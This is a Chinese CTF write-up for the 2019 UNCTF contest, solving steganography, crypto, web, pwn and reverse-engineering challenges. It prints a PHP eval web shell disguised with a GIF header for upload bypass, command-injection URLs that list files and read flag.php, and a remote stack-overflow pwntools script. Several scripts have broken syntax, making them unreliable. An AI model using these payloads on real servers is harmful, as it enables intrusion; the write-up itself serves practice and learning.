UNCTF新星賽解題報告

為了防止安恒不給復(fù)現(xiàn),我把MISC、RE的附件下載下來放在百度網(wǎng)盤上,有需要的自行下載,鏈接如下:https://pan.baidu.com/s/1QzTZFInCvvwtWuaJy-ZMKg

下面是全部wp的鏈接:
主站點:https://www.ctfwp.com/articals/2019unctf.html
備用站點一:https://coding.ctfwp.com/articals/2019unctf.html
備用站點二:https://github.ctfwp.com/articals/2019unctf.html


MISC

題目名稱:平淡日子下面的秘密
分值:100分
Flag:unctf{This_i5_a_easy_lsb_steg}

下載得到圖片,用stegsolve翻閱得到二維碼,

掃碼得到:Y0u're_so_smart,but_it's_not_the_end,然后用data extract提取,點擊0 0 0 ,得到一個壓縮包,

用上面那串字符解密的帶flag:unctf{This_i5_a_easy_lsb_steg}


題目名稱:貝斯的圖
分值:100分
Flag:unctf{base64&image}

下載圖片,用winhex打開,右邊是base64代碼。

轉(zhuǎn)圖片后是一張二維碼,掃一下出來了flag:dW5jdGZ7YmFzZTY0JmltYWdlfQ==,base64解碼把框框去一下就可以提交了。


題目名稱:長安十二時辰
分值:200
Flag:unctf{m1sc_1s_s0_ea5y}


利用這張圖上面的對應(yīng)關(guān)系,解出圖中的每個數(shù)字后面的圖片是什么意思,各自對應(yīng)ASCII碼得到ufss_yn{c_e}cm_sat1105,柵欄一下,柵欄數(shù)是4,得到unctf{m1sc_1s_s0_ea5y},去框上交解出。


題目名稱:我的頭怎么了
分值:100
Flag:unctf{hhh_it’s_ea5y}

首先winhex打開,發(fā)現(xiàn)這里跟文件名.gif不一樣。

百度了一下GIF的頭47 49 46 38,然后輸進去,得到

保存一下,得到一張GIF動圖,在其中的一幀上面看到了flag,然后用stegsolve打開,一幀一幀播放,得到flag:unctf{hhh_it’s_ea5y}


題目名稱:壓縮包大禮包
分值:400
Flag:unctf{D0_y0U_1!kE_rAR_?}

下載下來是個1,題目都說了是壓縮大禮包,那就加上后綴.zip,解壓得到2.zip。然后解壓不了了,打開2.zip發(fā)現(xiàn)

504B剛好是壓縮文件的頭,把數(shù)字全部復(fù)制下來,用winhex打開新建一個壓縮包,得到3.zip,解壓得到4.zip。(這里其實有一個偽加密,但是我用360壓縮打開好像直接搞定了)
嘗試明文攻擊,用WinRar壓縮readme.txt,然后用ARCHPR攻擊得到密碼

解壓得到5.zip。利用CRC32爆破,得到

找好東西:welc0me_To_7his_un_ctf__????

然后 解密?得到6.zip。發(fā)現(xiàn)里面有點東西:

不知道是啥,既然是我們看不到的,八成是空格之類的東西。復(fù)制到word里面去,左右按按,發(fā)現(xiàn)每次的長度還不一樣,可能是制表符,看下面的操作:

然后得到:

這個是啥??摩斯密碼??每行跑一下,得到??X233$@F99??密碼,解壓得到6.jpg。winhex打開,拉倒結(jié)尾,發(fā)現(xiàn)PK:

PK是壓縮包的頭,不用多說,后面復(fù)制,并且新建一個壓縮包7.zip。爆破走起

解壓得到flag。

Base64解碼,得到最終flag。


題目名稱:快樂游戲題
分值:100
Flag:UNCTF{c783910550de39816d1de0f103b0ae32}

玩了游戲就出來了,益智?


題目名稱:親愛的
分值:100
Flag:UNCTF{W3_L0v3_Unctf}

解壓出來以后,是一段mp3,放binwalk里面跑一波:

那解出來:

得到一個壓縮包

QQ音樂?7月27日17:47分。結(jié)合MP3,《海闊天空》李現(xiàn)版,上qq音樂搜一搜,看到了評論?。?!難道是這個??找了一波,找到腦殼疼。

還真的尼瑪找到了!真的上頭!得到2.jpg。binwalk一下:

UNCTF{W3_L0v3_Unvtf}


CRYPTO

題目名稱:安妮·起源
分值:200
Flag:UNCTF{F1ame_i5_My_f4vorite_t0y}

先是豬圈密碼,然后是摩斯密碼,最后是銀河字母,解碼得到壓縮包的密碼,然后最后的exe文件得到了flag:flag怎么試都不對,把框去掉就對了。

密碼如下:

Cubismine

Magicalmorsecode

helloctfer


題目名稱:bacon
分值:100
Flag:2b95d1f09b8b66c5c43622a4d9ec9a04

打開鏈接發(fā)現(xiàn)是亂碼,試試用火狐打開,unicode解碼一下(或者用conventer)

看到aabab?abbab?babab? 又看到培根,培根密碼解碼

FNV,md5加密,發(fā)現(xiàn)交不上去,試試AABAB?ABBAB?BABAB解碼,解出fox,md5提交完事。


題目名稱:云深不歸處

分值:100

Flag:2059a82cf231b1d82c65e45ccedf95d7

發(fā)現(xiàn)只有01248,百度,

Youaremyhero????? md5加密一下???2059a82cf231b1d82c65e45ccedf95d7


題目名稱:BABYRSA
分值:300
Flag:UNCTF{10023493ff87a9f246eb09d4f573e060}

參考鏈接:http://www.itdecent.cn/p/83150473d0be
https://blog.csdn.net/asd413850393/article/details/89810137

這兩個鏈接讓我粗略看懂了RSA咋回事(另外加上數(shù)學(xué)課的東西),腳本的網(wǎng)站找不到了,那就算了吧。

下載后打開py,發(fā)現(xiàn)N=221,所以接下去是求p,q。先通過數(shù)學(xué)(草稿紙演算,比較麻煩),求得d=77,然后按照百度得到的腳本跑一下,就得到了flag

file=open('encrypt','rb')
f=file.read()
n=221
d=77
s=''
fori in f:
????? s += chr(pow(ord(i),d,n))
prints
file.close()????????????????????????????????????????????? //腳本附上

我不生產(chǎn)知識,我只是知識的搬運工。這道題我也做的很蒙,好像主要還是靠腳本。


WEB

題目名稱:checkinA
分值:100
Flag:flag{ca876b13439332b6083dd5f4cf48b72e}

打開鏈接后,輸入/name 123修改名字為123,然后輸入/flag得到flag,去框后提交。

原理:打開源碼,看到好幾個js代碼,進去ctrl+F,查找flag,只有一個頁面出現(xiàn)了flag。

看到一些指令,去試試,就出來了flag:

flag{ca876b13439332b6083dd5f4cf48b72e}


題目名稱:上傳給小姐姐的照片
分值:100
Flag:UNCTF{5e0c22f9af9172e95937e59c58358444}

御劍掃描一波,發(fā)現(xiàn)index.php,進去發(fā)現(xiàn)是個上傳題,上傳一個一句話木馬,然后蟻劍(菜刀)連一下,得到flag.php,打開去框得到flag:UNCTF{5e0c22f9af9172e95937e59c58358444

(注意,上傳的時候注意那個filename,那邊需要修改一下)

Filename只要服務(wù)器沒有就行,下面那里后綴名要php,其他一些php5啊啥的也行。


題目名稱:NSB_Login
分值:200
Flag:flag{57fc636a42f46c7658110a631256f5cb}

用戶名要么是root,要么是admin,root的時候提示沒有這個東西,admin的時候提示密碼錯誤,那么用戶名就是admin沒得跑了。

然后BP爆破,得到密碼,登錄得到flag。?57fc636a42f46c7658110a631256f5cb


題目名稱:Simple_cal
分值:200
Flag:Flag{Glzj1n_W4nt5_4_91r1_Fr1end}?(跑出來兩個flag,交了哪個忘了)

主要參考https://www.cnblogs.com/qtisec/p/11097191.html
首先,構(gòu)造raw,(提示了xff),

保存為xff.txt,然后sqlmap跑,命令看截圖:


題目名稱:WEB2
分值:100
Flag:UNCTF{d9582ac88cb7d23ee5721d5f033729b5}

附一個超級爽的上傳靶場github的:

靶場地址:https://github.com/c0ny1/upload-labs
wp:https://xz.aliyun.com/t/2435
知識點:http://www.freebuf.com/vuls/128846.html

主要是白名單繞過,上傳1.php%00發(fā)現(xiàn)繞不過去,就上傳1.php.gif

蟻劍連接,url主要通過BP回顯以及御劍掃描得到uploads這個文件夾,

但是,經(jīng)過一些檢驗之后,我發(fā)現(xiàn)這道題并不是這么回事,它可能是檢測文件頭的。所以在一句話木馬前面最好標(biāo)注一下GIF89a(gif文件頭)。

GIF89a
<?php @eval($_POST[pass]);?>??? //一句話木馬


題目名稱:WEB 1
分值:100
Flag:UNCTF{b9a5a633c806f9d24e42681c3f0360ba}

看到這個題目我就想到在index.php后面加上各種備份文件的后綴,but不能用!??!得了,御劍跑一波,得到了壓縮包。

文本打開,里面放了個php代碼。觀察php代碼,就是要你繞過三個檢測(三個if)。

Un要是0,而且不能為0;

Ctf不能是純數(shù)字,但是要大于87654321.

前面構(gòu)造?un=’0123’????? //字符串

后面構(gòu)造ctf=88888888qwe???? //加幾個字母就繞過numberc函數(shù)

得到前后flag,拼接一下就成了!


題目名稱:光坂鎮(zhèn)的小詩2
分值:200
Flag:FLAG{Q2GGHA_WEB_SQL_22JKK44H}

我先做的1,結(jié)果做不出來,下意識的以為2更難。結(jié)果,sqlmap一下就出來了。很開心。

命令見圖:

Flag:FLAG{Q2GGHA_WEB_SQL_22JKK44H}


題目名稱:阿風(fēng)日記.docx
分值:100
Flag:unctf{asdwtg3y46wsgrs575}

打開鏈接,粗略的看了一下,有個東西叫秘密?

進去要你輸入密碼,啥都不說了,爆破走起。


題目名稱:easy php
分值:100
Flag:flag{585ae8df504339777766bd76e3ebd9f4}

解讀完畢,接下來先構(gòu)造看目錄的x,再構(gòu)造抓flag的x。

http://101.71.29.5:10043/index.php?x=system('ls|cat');
http://101.71.29.5:10043/index.php?x=$a=%22%20flag.php%22;system(%22%20%20cat%22.$a);


PWN

題目名稱:Hermes
分值:200
Flag:UNCTF{36d5c39de9214225400a9b8c5d64e6f4? }

/////////////////這個題目大佬們還是去看看別人的吧,我用32位的腳本跑出64位的flag,我也是醉了////////////////////
/////////////////此題僅作為紀念//////////////////////

下載文件,64位ida打開,shift+F12后,看到了美麗的/bin/sh ,然后找到binsh的地址:

九成九是一個棧溢出pwn題,然后gdb調(diào)試,先創(chuàng)300個隨機字符,然后r運行,輸入300字符溢出。

然后用offset得到偏移量:40

It’s time to 寫腳本了,腳本附上:

from pwn import*
#sh=process("./pwn")
sh = remote ("101.71.29.5",10070)
target=0x00004007EB
payload='a'*40+p32(target)
sh.sendline(payload)
sh.interactive()

#人生中第一次獨立完成一道pwn題,一萬個開心,雖然有點奇怪0.0.


題目名稱:nc
分值:100
Flag:UNCTF{4c697e3019673fe91ce1571cdd4087aa}

給你個地址,先nc 123.206.21.178 9090,然后溢出就行:


RE

題目名稱:very_easy_re
分值:
Flag:UNCTF{h4ve_f5n_ 1n_ 8h7r7}

文件打不開,顯示錯誤,用ida打開,shift+F12。

Ok,找到main函數(shù)了。這混蛋出題人居然把main函數(shù)刪了,好開心····

然后看代碼,發(fā)現(xiàn)需要構(gòu)造一個payload使得1-7位+1,8-15位+3,17-23位+3,24-32位+4,ok,jio本走起。

#coding:utf-8
flag1 = 'WV6EWF[8dGU5]Y<pQZ8iPZ8iSKk7gnh='
flag =''
for i in
range(len(flag1)):
if(i<8):
??? flag +=chr(ord(flag1[i])-1)
if(8<=i and i<24):
???? flag+=chr(ord(flag1[i])-3)
if(24<=i and i<32):
??? flag+=chr(ord(flag1[i])-4)
print(flag)?????????????????????????? //python

得到:
VU5DVEZ7aDR2ZV9mNW5fMW5fOGg3cjd9
base64解碼得:
UNCTF{h4ve_f5n_1n_8h7r7}


題目名稱:rookie_reverse
分值:200
Flag:unctf {welcOme_tO_unctf_bAby_reverse}

找到main函數(shù),看了一下,先輸入,然后對22取異或并+1,然后輸出結(jié)果要跟dyvcqnbt{v'|tJc'JdyvcqJuXupJetateftl? 這東西一樣,ok,腳本跑起來。不知道python的異或咋表示,就用C語言寫。

Flag出來了,交不上去,真的生氣,然后吧0變成O以后就交了。

腳本如下:
#include<stdio.h>
int main()
{
charflag1[100]="dyvcqnbt{v'|tJc'JdyvcqJuXupJetateftl";
char flag[100];
for (int i=0;i<100;i++)
flag[i]=(flag1[i]-1)^22;
printf ("%s",flag);
}


題目名稱:unctf_babyre
分值:200
Flag:14ddacbe412e423156ce5fe5ad5ba195

這個題目我是真的服氣

Ida打開,看main函數(shù),發(fā)現(xiàn)一串的異或。題目要求輸入s,然后跟一堆東西(t)異或,得到一個東西(target)。但是不知道t,target咋整?雙擊target,得到
Do_You_ThInk_1t_1s_A_Tru1y_Baby


那整t,雙擊t,得到了

括起來,shift+E,得到???

0x72, 0xFF, 0x94,0x62, 0x0F, 0x69, 0x88, 0x6E, 0x53, 0xF0,

0x17, 0x60, 0x6A, 0xC4, 0x70, 0x1A, 0x05, 0x6C, 0x8F,0x7B,

0x6B, 0x1B, 0x7B, 0x32, 0x51, 0x24, 0xD3, 0x7F, 0x01,0x12,

0x2E, 0x73

接下來就是燒腦殼的腳本,就是原來的程序反過來。(異或的逆還是異或)

#include<stdio.h>
int main ()
{
char a[35];
?intt[33]={0x72,0xFF,0x94,0x62,0x0F,0x69,0x88,0x6E,0x53,0xF0,0x17,0x60,0x6A,0xC4,0x70,0x1A,0x05,0x6C,0x8F,0x7B,0x6B,0x1B,0x7B,0x32,0x51,0x24,0xD3,0x7F,0x01,0x12,0x2E,0x73};
int i,j,k;
scanf("%s",&a);
i=j=k=0;
for (i=0;i<=7;i++)
???? {
???????????? flag[i*4]=(a[i*4]-1)^t[i*4];
???????????? flag[i*4+1]=(a[i*4+1]-t[i*4+1])^a[4*i];
????????????? flag[i*4+2]=(a[i*4+2]-a[4*i+1])^t[i*4+2];
????????????? flag[i*4+3]=a[i*4+3]^t[i*4+3]^a[i*4+2];?
?????? }
printf("%s",flag);
}


講道理flag前面有unctf{}的,但是我懶得打就沒搞,需要的話自己手動輸入哈

跑出來flag:14ddacbe412e423156ce5fe5ad5ba195


題目名稱:unctf easyreverse
分值:100
Flag:KDsJv8ilTho8dUhTij8dZ

首先,先把這些東西變成字符,wow,差不多明白了,把下面代碼讀懂了就差不多可以寫jio本了。

#include<stdio.h>
#include<string.h>
int main()
{
?????? char*a="UNCTFisv3ryin4r3stin9";
?????? char* b="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+<>?:";
?????? int c[21];
?????? int i,j;
?????? for(i=0;i<21;i++)
?????? for(j=0;j<=strlen(b);j++)
?????? if(a[i]==b[j])c[i]=j;
?????? for(i=0;i<21;i++)
????? {
????????????? if(c[i]<=9&&c[i]>=0)c[i]+=48;
????????????? elseif(c[i]<=35&&c[i]>=10)c[i]+=87;
????????????? else c[i]+=29;
?????? }
?????? for(int i=0;i<21;i++)
?????? printf("%c",c[i]);
?????? return 0;
}


Flag: KDsJv8ilTho8dUhTij8dZ? 如果不行就套個殼 啥unctf、UNCTF、FLAG、flag等


題目名稱:調(diào)試器的初體驗
分值:100
Flag:flag{16cea37e53405a8b1b8a7de219e8edd1}

打開調(diào)試器,發(fā)現(xiàn)報錯,不能運行。百度了一下,把相關(guān)文件下載下來就一路綠燈:

用ollydbg打開,一路F9,就完事了。

i跟l我是真的服氣。

ps:本文僅供學(xué)習(xí)使用。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 專業(yè)考題類型管理運行工作負責(zé)人一般作業(yè)考題內(nèi)容選項A選項B選項C選項D選項E選項F正確答案 變電單選GYSZ本規(guī)程...
    小白兔去釣魚閱讀 10,488評論 0 13
  • ¥開啟¥ 【iAPP實現(xiàn)進入界面執(zhí)行逐一顯】 〖2017-08-25 15:22:14〗 《//首先開一個線程,因...
    小菜c閱讀 7,311評論 0 17
  • 裸睡,是一種保健方法 它廉價,無須任何費用 它簡單,人人可以掌握 更重要的是,它更健康、更舒適 人的皮膚有很多功能...
    談黃瓜健康閱讀 764評論 0 1
  • 文/曉宇姑娘 立秋已有許久,燥熱慢慢褪去,早晚有微涼的風(fēng)。 我總是坐在公交車后面第二排靠窗的位置,打開車窗,在迎面...
    曉宇姑娘閱讀 456評論 2 7

友情鏈接更多精彩內(nèi)容